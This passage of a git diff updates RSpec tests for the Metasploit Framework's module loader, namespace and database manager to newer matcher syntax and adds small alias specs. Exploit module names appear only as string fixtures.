File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true - end - - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" - - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false - end - end - - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end - - let(:type) do - 'exploit' - end - - let(:type_directory) do - 'exploits' - end - - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) - - subject.send(:module_path, parent_path, type, module_reference_name) - end - - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) - - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end - - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - enabled_type - end - - let(:type_directory) do - enabled_type_directory - end - - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:flag_string) do - flags.to_s(16) - end - - let(:flags) do - 0x0 - end - - let(:unarchived_path) do - File.join(base_path, archived_path) - end - - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') - - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear - - example.run - end - end - - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end - - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end -end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 3f6e69063e..be7f14492c 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do end it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy end it 'should map Msf::MODULE_AUX to auxiliary' do @@ -268,7 +268,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey end it 'should not call #read_module_content' do @@ -335,7 +335,7 @@ describe Msf::Modules::Loader::Base do subject.stub(:read_module_content => module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy namespace_module.parent_path.should == parent_path end @@ -343,7 +343,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:on_module_load) subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do @@ -352,7 +352,7 @@ describe Msf::Modules::Loader::Base do # if the module eval error includes the module_path then the module_path was passed along correctly subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey end context 'with empty module content' do @@ -361,12 +361,12 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should not attempt to make a new namespace_module' do subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -426,7 +426,7 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the original error' do subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -457,14 +457,14 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end it 'should return false' do @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -520,11 +520,11 @@ describe Msf::Modules::Loader::Base do it 'should record the load error' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do @@ -558,16 +558,16 @@ describe Msf::Modules::Loader::Base do module_path, kind_of(Msf::Modules::MetasploitClassCompatibilityError) ) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_falsey + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end @@ -583,7 +583,7 @@ describe Msf::Modules::Loader::Base do it 'should check if it is usable' do subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'without usable metasploit_class' do @@ -593,16 +593,16 @@ describe Msf::Modules::Loader::Base do it 'should log information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_falsey + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end @@ -615,7 +615,7 @@ describe Msf::Modules::Loader::Base do it 'should log load information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do @@ -623,17 +623,17 @@ describe Msf::Modules::Loader::Base do module_manager.module_load_error_by_path[module_path] = original_load_error module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy module_manager.module_load_error_by_path[module_path].should be_nil end it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call module_manager.on_module_load' do module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'with :recalculate_by_type' do @@ -645,8 +645,8 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true + ).should be_truthy + recalculate_by_type[type].should be_truthy end end @@ -654,13 +654,13 @@ describe Msf::Modules::Loader::Base do it 'should set the count to 1 if it does not exist' do count_by_type = {} - count_by_type.has_key?(type).should be_false + count_by_type.has_key?(type).should be_falsey subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy count_by_type[type].should == 1 end @@ -675,7 +675,7 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy incremented_count = original_count + 1 count_by_type[type].should == incremented_count @@ -802,7 +802,7 @@ describe Msf::Modules::Loader::Base do end it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:current_module, module_names).should be_nil end @@ -838,7 +838,7 @@ describe Msf::Modules::Loader::Base do it 'should return false if path is hidden' do hidden_path = '.hidden/path/file.rb' - subject.send(:module_path?, hidden_path).should be_false + subject.send(:module_path?, hidden_path).should be_falsey end it 'should return false if the file extension is not MODULE_EXTENSION' do @@ -846,25 +846,25 @@ describe Msf::Modules::Loader::Base do path = "path/with/wrong/extension#{non_module_extension}" non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a unit test' do unit_test_extension = '.rb.ut.rb' path = "path/to/unit_test#{unit_test_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a test suite' do test_suite_extension = '.rb.ts.rb' path = "path/to/test_suite#{test_suite_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true + subject.send(:module_path?, module_path).should be_truthy end end @@ -1022,7 +1022,7 @@ describe Msf::Modules::Loader::Base do it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end @@ -1043,7 +1043,7 @@ describe Msf::Modules::Loader::Base do it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1077,18 +1077,18 @@ describe Msf::Modules::Loader::Base do end it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true + Msf::Module.const_defined?(relative_name).should be_truthy raise error_class, error_message end rescue error_class end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should re-raise the error' do @@ -1102,46 +1102,46 @@ describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy false end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end context 'with the block returning true' do it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey created_namespace_module = nil subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy created_namespace_module = namespace_module true end - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == created_namespace_module end it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1177,10 +1177,22 @@ describe Msf::Modules::Loader::Base do end context 'with namespace_module nil' do + # + # lets + # + let(:namespace_module) do nil end + # + # Callbacks + # + + before(:each) do + parent_module.const_set(relative_name, Module.new) + end + it 'should remove relative_name' do parent_module.should_receive(:remove_const).with(relative_name) @@ -1228,14 +1240,14 @@ describe Msf::Modules::Loader::Base do context 'with the current constant being the namespace_module' do it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy current_module = parent_module.const_get(relative_name) current_module.should == @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy restored_module = parent_module.const_get(relative_name) restored_module.should == current_module restored_module.should == @current_namespace_module @@ -1251,7 +1263,7 @@ describe Msf::Modules::Loader::Base do context 'without the current constant being the namespace_module' do it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy parent_module.should_receive(:remove_const).with(relative_name) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) @@ -1269,11 +1281,11 @@ describe Msf::Modules::Loader::Base do context 'without relative_name being a defined constant' do it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false + parent_module.const_defined?(relative_name).should be_falsey subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy parent_module.const_get(relative_name).should == @original_namespace_module end end @@ -1295,7 +1307,7 @@ describe Msf::Modules::Loader::Base do metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_true + subject.send(:usable?, metasploit_class).should be_truthy end end @@ -1328,7 +1340,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false + subject.send(:usable?, metasploit_class).should be_falsey end end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 3dfda82b0a..d4a47dfc08 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -51,7 +51,7 @@ describe Msf::Modules::Loader::Directory do end it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy created_module = module_manager.create(module_full_name) @@ -74,7 +74,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -89,7 +89,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -110,7 +110,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not raise an error' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey expect { subject.load_module(parent_path, type, module_reference_name) @@ -118,9 +118,9 @@ describe Msf::Modules::Loader::Directory do end it 'should return false' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -138,7 +138,7 @@ describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index d0bd0843c7..6dcc3c6e52 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true + subject.const_defined?('Metasploit1').should be_truthy end it 'should return the class' do @@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true + subject.const_defined?('Metasploit2').should be_truthy end it 'should return the class' do @@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true + subject.const_defined?('Metasploit3').should be_truthy end it 'should return the class' do @@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true + subject.const_defined?('Metasploit4').should be_truthy end it 'should return the class' do @@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true + subject.const_defined?('Metasploit5').should be_truthy end it 'should be newer than Msf::Framework::Major' do @@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do context 'version_compatible!' do context 'without RequiredVersions' do it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false + subject.const_defined?('RequiredVersions').should be_falsey end it 'should not raise an error' do @@ -209,8 +209,8 @@ describe Msf::Modules::Namespace do end context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore + it 'is <= Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be <= Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -218,8 +218,8 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' @@ -239,8 +239,8 @@ describe Msf::Modules::Namespace do 5 end - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore + it 'is > Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be > Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -248,16 +248,16 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' end context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI + it 'is <= Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be <= Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' diff --git a/spec/lib/msf/core/options/opt_enum_spec.rb b/spec/lib/msf/core/options/opt_enum_spec.rb index 247b58d7ea..5c882c98b4 100644 --- a/spec/lib/msf/core/options/opt_enum_spec.rb +++ b/spec/lib/msf/core/options/opt_enum_spec.rb @@ -20,4 +20,4 @@ describe Msf::OptEnum do subject.valid?('Bar').should == true end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_raw_spec.rb b/spec/lib/msf/core/options/opt_raw_spec.rb index 68b2cceb8c..f2a6bb68e4 100644 --- a/spec/lib/msf/core/options/opt_raw_spec.rb +++ b/spec/lib/msf/core/options/opt_raw_spec.rb @@ -12,4 +12,4 @@ describe Msf::OptRaw do invalid_values = [] it_behaves_like "an option", valid_values, invalid_values, 'raw' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_regexp_spec.rb b/spec/lib/msf/core/options/opt_regexp_spec.rb index 682f7c9330..0ff0e623cc 100644 --- a/spec/lib/msf/core/options/opt_regexp_spec.rb +++ b/spec/lib/msf/core/options/opt_regexp_spec.rb @@ -14,4 +14,4 @@ describe Msf::OptRegexp do ] it_behaves_like "an option", valid_values, invalid_values, 'regexp' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 09ff3b5be4..973acc525d 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -313,7 +313,7 @@ describe Msf::PayloadGenerator do it 'returns modified shellcode' do - pending "This is a bad test and needs to be refactored" + skip "This is a bad test and needs to be refactored" # The exact length is variable due to random nops inserted into the routine # It looks like it should always be > 300 # Can't do precise output matching due to this same issue @@ -530,4 +530,4 @@ describe Msf::PayloadGenerator do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/platform_spec.rb b/spec/lib/msf/core/platform_spec.rb new file mode 100644 index 0000000000..f9f4bccad1 --- /dev/null +++ b/spec/lib/msf/core/platform_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Platform do + it 'is an alias for Msf::Module::Platform' do + expect(described_class.name).to eq('Msf::Module::Platform') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/reference_spec.rb b/spec/lib/msf/core/reference_spec.rb new file mode 100644 index 0000000000..0e2d8f77ba --- /dev/null +++ b/spec/lib/msf/core/reference_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Reference do + it 'is an alias for Msf::Module::Reference' do + expect(described_class.name).to eq('Msf::Module::Reference') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/site_reference_spec.rb b/spec/lib/msf/core/site_reference_spec.rb new file mode 100644 index 0000000000..653bbce6d7 --- /dev/null +++ b/spec/lib/msf/core/site_reference_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::SiteReference do + it 'is an alias for Msf::Module::SiteReference' do + expect(described_class.name).to eq('Msf::Module::SiteReference') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/target_spec.rb b/spec/lib/msf/core/target_spec.rb new file mode 100644 index 0000000000..9a21c8add2 --- /dev/null +++ b/spec/lib/msf/core/target_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Target do + it 'is an alias for Msf::Module::Target' do + expect(described_class.name).to eq('Msf::Module::Target') + end +end \ No newline at end of file diff --git a/spec/lib/msf/database_event_spec.rb b/spec/lib/msf/database_event_spec.rb new file mode 100644 index 0000000000..a395b599d0 --- /dev/null +++ b/spec/lib/msf/database_event_spec.rb @@ -0,0 +1,22 @@ +RSpec.describe Msf::DatabaseEvent do + subject(:base_instance) { + base_class.new + } + + let(:base_class) { + described_class = self.described_class + + Class.new do + include described_class + end + } + + it { is_expected.to respond_to :on_db_client } + it { is_expected.to respond_to :on_db_host } + it { is_expected.to respond_to :on_db_host_state } + it { is_expected.to respond_to :on_db_ref } + it { is_expected.to respond_to :on_db_service } + it { is_expected.to respond_to :on_db_service_state } + it { is_expected.to respond_to :on_db_vuln } + +end \ No newline at end of file diff --git a/spec/lib/msf/db_import_error_spec.rb b/spec/lib/msf/db_import_error_spec.rb new file mode 100644 index 0000000000..af94ff876a --- /dev/null +++ b/spec/lib/msf/db_import_error_spec.rb @@ -0,0 +1,3 @@ +RSpec.describe Msf::DBImportError do + it { is_expected.to be_a RuntimeError } +end \ No newline at end of file diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 4f5de2e92f..e28b76212b 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -79,7 +79,7 @@ describe Msf::DBManager::Export do it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do node = module_detail_node.at_xpath('disclosure-date') - Date.parse(node.content).should == module_detail.disclosure_date + DateTime.parse(node.content).should == module_detail.disclosure_date end end @@ -105,4 +105,4 @@ describe Msf::DBManager::Export do end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 76f215b8df..b3f2d69877 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -18,1813 +18,40 @@ describe Msf::DBManager do db_manager end + it_should_behave_like 'Msf::DBManager::Adapter' + it_should_behave_like 'Msf::DBManager::Client' + it_should_behave_like 'Msf::DBManager::Connection' + it_should_behave_like 'Msf::DBManager::Cred' + it_should_behave_like 'Msf::DBManager::Event' + it_should_behave_like 'Msf::DBManager::ExploitAttempt' + it_should_behave_like 'Msf::DBManager::ExploitedHost' + it_should_behave_like 'Msf::DBManager::Host' + it_should_behave_like 'Msf::DBManager::HostDetail' + it_should_behave_like 'Msf::DBManager::HostTag' + it_should_behave_like 'Msf::DBManager::IPAddress' + it_should_behave_like 'Msf::DBManager::Import' + it_should_behave_like 'Msf::DBManager::Loot' it_should_behave_like 'Msf::DBManager::Migration' - it_should_behave_like 'Msf::DBManager::ImportMsfXml' - - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models - end - - it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models - - expect { - initialize_metasploit_data_models - }.to_not change { - ActiveRecord::Migrator.migrations_paths.length - } - - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths - end - end - - context '#purge_all_module_details' do - def purge_all_module_details - db_manager.purge_all_module_details - end - - let(:migrated) do - false - end - - let(:module_detail_count) do - 2 - end - - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - false - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - let(:modules_caching) do - true - end - - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - - context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - - it 'should destroy all Mdm::Module::Details' do - expect { - purge_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#report_session' do - let(:options) do - {} - end - - subject(:report_session) do - db_manager.report_session(options) - end - - context 'with active' do - let(:active) do - true - end - - it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - - report_session - end - - context 'with :session' do - before(:each) do - options[:session] = session - end - - context 'with Msf::Session' do - let(:exploit_datastore) do - Msf::ModuleDataStore.new(module_instance).tap do |datastore| - datastore['ParentModule'] = parent_module_fullname - - remote_port = rand(2 ** 16 - 1) - datastore['RPORT'] = remote_port - end - end - - let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) - end - - let(:module_instance) do - name = 'multi/handler' - - double( - 'Msf::Module', - :fullname => "exploit/#{name}", - :framework => framework, - :name => name - ) - end - - let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:parent_module_fullname) do - "exploit/#{parent_module_name}" - end - - let(:parent_module_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - Metasploit::Framework.root.join('modules').to_path - end - - let(:session) do - session_class.new.tap do |session| - session.exploit_datastore = exploit_datastore - session.info = 'Info' - session.platform = 'Platform' - session.session_host = host.address - session.sid = rand(100) - session.type = 'Session Type' - session.via_exploit = 'exploit/multi/handler' - session.via_payload = 'payload/single/windows/metsvc_bind_tcp' - session.workspace = session_workspace.name - end - end - - let(:session_class) do - Class.new do - include Msf::Session - - attr_accessor :datastore - attr_accessor :platform - attr_accessor :type - attr_accessor :via_exploit - attr_accessor :via_payload - end - end - - let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - reference_name = 'multi/handler' - path = File.join(parent_path, 'exploits', reference_name) - - # fake cache data for exploit/multi/handler so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => 'exploit', - } - } - ) - - FactoryGirl.create( - :mdm_module_detail, - :fullname => parent_module_fullname, - :name => parent_module_name - ) - end - - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end - - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) - - report_session - end - end - - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original - - report_session - end - - it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) - - report_session - end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - - before(:each) do - session.stub(:arch => arch) - end - - it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :arch => arch - ) - ).and_call_original - - report_session - end - end - - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch - ) - ).and_call_original - - report_session - end - end - - it 